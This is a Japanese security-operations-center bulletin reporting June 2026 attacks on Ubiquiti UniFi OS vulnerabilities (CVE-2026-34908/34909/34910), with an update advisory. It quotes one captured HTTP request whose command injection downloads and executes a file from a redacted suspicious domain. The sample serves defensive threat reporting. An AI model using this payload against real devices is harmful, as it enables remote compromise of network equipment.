2026.07.17

2026年6月度 MBSD-SOCの検知傾向トピックス

Ubiquiti製UniFi OSの脆弱性（CVE-2026-34908/34909/34910）を狙った攻撃

　今月は、Ubiquiti製のネットワーク機器に搭載されている「UniFi OS」の脆弱性を狙った攻撃を新たに観測しました。以下3つの脆弱性を狙った攻撃となっています。

　いずれもCVSS値（脆弱性の深刻度）が高い脆弱性となっており、既にPoC（概念実証コード）が公開されているため、該当製品を使用されている場合は、早急に最新のバージョンにアップデートすることをお勧めします。

　下図は、本脆弱性を狙った攻撃の検知数推移および攻撃元国です。弊社SOCでは6/9(火)から攻撃を観測しています。オランダからの攻撃が多数検知していました。

図. Ubiquiti製UniFi OSの脆弱性（CVE-2026-34908/34909/34910）を狙った攻撃の検知数推移

　以下は、弊社SOCで検知した攻撃例です。コマンドインジェクションにより不審ドメインから不正ファイルをダウンロードして実行することを試みた通信となっています。

図. Ubiquiti製UniFi OSの脆弱性（CVE-2026-34908/34909/34910）を狙った攻撃例
GET /proxy/users/api/v2/ucs/update/latest_package?pkg_name=x$(cd+/tmp+\|\|+cd+/var/run+\|\|+cd+/mnt+\|\|+cd+/root+\|\|+cd+/;+busybox+wget+http://不審ドメイン/zok+-O+zok;+curl+-o+zok+http://不審ドメイン/zok;+wget+http://不審ドメイン/zok;+chmod+777+zok;+./zok+unifi.exploit)&by_cmd=true HTTP/1.1 Host: xx.xx.xx.xx:443 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 X-Cnection: close

影響対象